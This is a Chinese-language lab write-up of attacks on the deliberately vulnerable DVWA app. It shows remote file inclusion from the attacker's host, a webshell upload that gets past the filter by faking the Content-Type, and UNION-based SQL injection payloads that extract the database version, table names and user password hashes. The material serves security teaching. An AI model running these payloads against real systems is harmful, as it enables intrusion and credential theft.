目录
1.寻找文件包含漏洞
1.1相关技能和知识介绍
当用户自定义参数请求服务器中的动态资源或者在服务器上执行的代码包含了某个页面时,就会出现文件包含漏洞。如果让服务器执行了文件包含导致的恶意代码,系统就有可能被入侵。
(1)利用OWASP靶机寻找文件包含漏洞 (2)开启OWASP靶机和Kali虚拟机
(3)kali中登陆dvwa(用户名和密码都是admin),进入 File Inclusion页面
1.2实验操作
(1)File lnclusion页面提示要测试包含的内容,将浏览器的URL中的page改为index.php进行尝试。
(根据提示修改page的值进行测试)
(2)为了尝试攻击,需要知道存在本地的文件名称,知道有个index.php在根目录下,所以尝试下目录遍历和文件包含。提交参数为../ ../index.php,可以证明存在文件包含漏洞了(“..”表示返回上一级目录)
首先启动apache服务器:
service apache2 start
status apache2
(3)现在我们利用这个文件包含漏洞,包含一下Kali的 apache页面:(显示如下)
http://192.168.137.130/dvwa/vulnerabilities/fi/?page=http:!/192.168.137.136/index.html
2.文件包含和文件上传
2.1相关知识和技能介绍
在前面的任务中了解到,当开发人员对用户上传的文件所在的路径不做安全校验或者用户恶意上传文件使其包含当前路径的某些源码时,就会发生文件上传或者文件包含漏洞。在本篇小节中,将学习通过上传一个恶意的文件,也就是 WebShell(可以在服务器上执行命令的web页面)并且执行它。
(1)开启OWASP靶机和Kali虚拟机。
(2)kali中登陆dvwa(用户名和密码都是admin),将安全等级设置为medium(中级),进入Upload页面
2.2实验操作
在开始前,先来创建一个名叫webshell.php的文件,
特别注意一点,action参数写入的值是我们刚才通过测试上传一个图片后的提示信息中得来的存储路径。
(1) .在 Upload页面的上传点上传webshell.php文件。
当你尝试上传后缀为.php的文件时,会发现上传失败,这是因为DVWA 的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里需要绕过这个限制上传 webshell.php 。
(2)打开 Burp suite的拦截开关,然后点击上传,数据包就会被拦截下来,如下图:)
简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。尤其注意上图中第二个Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个PHP文件。(上图两处更正:method="get" ,webshell.php)
(3).将第二个Content-Type中的值修改为image/jpeg后再放行请求包,然后你就会看到上传成功的信息
(4)上传成功后,我们要使用上传的 webshell.php来对服务器执行命令。返回到 DVWA 的Filelnclusion页面。
使用page参数来包含webshell.php,截图如下:
、
(6)我们可以看到webshell.php被成功地加载,并且会有一个文本框,在文本框中输入
/sbin/ifconfig,然后敲下回车键
,你就可以看到出现了文本提示信息,这代表代码被成功执行,如下图t
3.手工验证SQL注入
3.1相关技能和知识介绍
大多数现代web应用程序都实现某种数据库,而SQL是最常用的查询数据库的语言。
在SQL注入(SQLi)攻击中,攻击者试图通过注入表单中的SQL命令来发送更改的查询,从而滥用应用程序和数据库之间的通信用于在服务器中构建SQL语句的请求中的输入或任何其他参数。
在本文中,我们将测试Web应用程序的输入,以查看它是否容易受到基于错误的SQLi 的攻击。
3.2实验操作
(1)在文本框中引入1并提交该ID。如以下屏幕截图所示,应用程序应响应错误:
这次没有错误。这证实了应用程序中存在SQLi漏洞。
(2)现在我们将执行一个非常基本的SQLi攻击。在文本框中引入'or '1'='1并提交。结果应如下所示:
看起来我们刚刚在数据库中注册了所有用户
4.基于错误的SQL注入
4.1相关知识和技能介绍
我们已经知DVWA容易受到SQLi的攻击,所以我们登录并浏览DVWA的 SQL Injection页面( http://192.168.56.11/dvwa/vulnerabilities/sqli/)
4.2实验操作
(1)在检测到 sQLi存在后,下一步是想办法内部查询,或者更确切地说,知道其结果的列数。在'User ID”框中输入任意数字,然后单击“Submit(提交)”按钮。
(2)现在,打开HackBar(按F9键),然后点击“Load”按钮加载URL。地址栏中的URL 现在应该出现在HackBar中,点击“Split”按钮分割URL。
(3)在HackBar中,我们将id参数的值替换为1' order by 1 --'并单击“Execute”按钮执行查询语句,屏幕截图显示为:
(4)我们继续增加order by后面的值并执行请求,直到页面发生了报错。在此示例中,报错信息发生在它在按列数3时。这意味着查询的结果只有两列,因为我们尝试按不存在的列对其进行排序时会触发错误:
5.现在我们知道数据有两列。然后我们尝试使用union语句提取一些信息。将id的值设置为
1 ' union select 1,2 --'
并执行。你应该会得到结果:
6.这意味着我们要使用union查询中请求两个值。让我们来看看DBMS和数据库用户的版本。将id设置为
1 ' union select @@version,current_user() --'
然后执行:
(7)随后我们寻找与之更相关的东西,例如应用程序的用户。首先我们需要找到用户的表。将id设置为
1’UNION SELECT table_schema,table_name FROM information_schema.tables WHEREtable_name LIKE'%user%'--'
提交之后看到如下页面:
(8).好的,我们知道数据库(或模式)名称为dvwa,我们正在寻找的表是users。由于我们只有两个位置来设置值,我们需要知道表中的哪些列对我们有用,将id设置为
l' union select column_name,1 FROM information_schema.columns WHERE table_name = 'users' -- '
(9).最后,我们知道了users表的内容。将id设置为
1' union select user,password FROM dvwa.users --'
5.心得
通过学习利用漏洞注入明白了SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言,这种语言具有交互性特点,能为用户提供极大的便利,数据库管理系统应充分利用SQL语言提高计算机应用系统的工作质量与效率。SQL语言不仅能独立应用于终端,还可以作为子语言为其他程序设计提供有效助力,该程序应用中,SQL可与其他程序语言一起优化程序功能,进而为用户提供更多更全面的信息。